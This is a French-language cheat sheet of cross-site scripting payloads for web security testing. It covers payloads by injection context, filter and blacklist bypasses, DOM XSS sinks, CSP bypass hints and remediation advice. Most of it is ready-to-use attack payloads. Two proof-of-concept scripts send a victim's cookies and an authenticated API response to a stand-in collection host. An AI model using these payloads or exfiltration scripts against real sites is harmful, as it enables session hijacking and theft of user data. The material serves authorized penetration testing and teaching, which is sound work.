#Identifier le contexte
| Contexte | Payload de test |
|---|---|
| HTML entre balises | <script>alert(1)</script> |
| Attribut entre guillemets | " autofocus onfocus="alert(1) |
| Attribut sans guillemets | x onmouseover="alert(1) |
| Chaîne JavaScript | ';alert(1)// |
URL (href) |
javascript:alert(1) |
| Template côté client | {{constructor.constructor('alert(1)')()}} |
<!-- Test minimal, sans dépendance -->
<script>alert(document.domain)</script>
<img src=x onerror=alert(document.domain)>
<svg/onload=alert(document.domain)>
"><img src=x onerror=alert(1)>
#Filtres et encodages
<!-- Balises et event handlers alternatifs -->
<details open ontoggle=alert(1)>
<body onload=alert(1)>
<iframe srcdoc="<script>alert(1)</script>">
<a href="javascript:alert(1)">click</a>
<!-- Encodage HTML -->
<img src=x onerror=alert(1)>
<!-- Contournement de blacklist naïve -->
<scr<script>ipt>alert(1)</scr</script>ipt>
<img src=x onerror=alert(1)//
#DOM XSS
Sources contrôlables : location.hash, location.search, document.referrer, window.name, postMessage.
// Sinks dangereux
element.innerHTML = userInput;
document.write(userInput);
eval(userInput);
setTimeout(userInput, 0);
location.href = userInput;
// Test rapide d'un sink
location.hash = '<img src=x onerror=alert(1)>';
#Vol de données (PoC)
<script>
fetch('https://oast.example/?c=' + encodeURIComponent(document.cookie));
</script>
<!-- Extraction d'un token CSRF dans le DOM -->
<script>
fetch('/api/me').then(r => r.text()).then(t => {
new Image().src = 'https://oast.example/?d=' + encodeURIComponent(t);
});
</script>
Sur une app moderne, préfère un PoC qui prouve l'exécution (alerte, requête vers un collaborator) sans exfiltrer de données réelles.
#CSP
# Vérifier la politique
curl -sI https://target.test | grep -i content-security-policy
unsafe-inlineautorise scripts et handlers inline.nonce-...: cherche un endpoint qui reflète le nonce ou une injection dans une balise autorisée.strict-dynamicne protège pas si un script autorisé est déjà détournable.- Les CDN autorisés (
cdn.jsdelivr.net) peuvent héberger des bibliothèques avec gadgets.
#Remédiation
- Encodage contextuel côté serveur (HTML, attribut, JS, URL).
- Assainissement HTML avec une allowlist stricte si le HTML utilisateur est nécessaire.
- CSP avec nonce,
object-src 'none',base-uri 'none'. - Cookies
HttpOnly,Secure,SameSite=Lax. - Tests automatisés sur les contextes réels, pas seulement
<script>alert(1).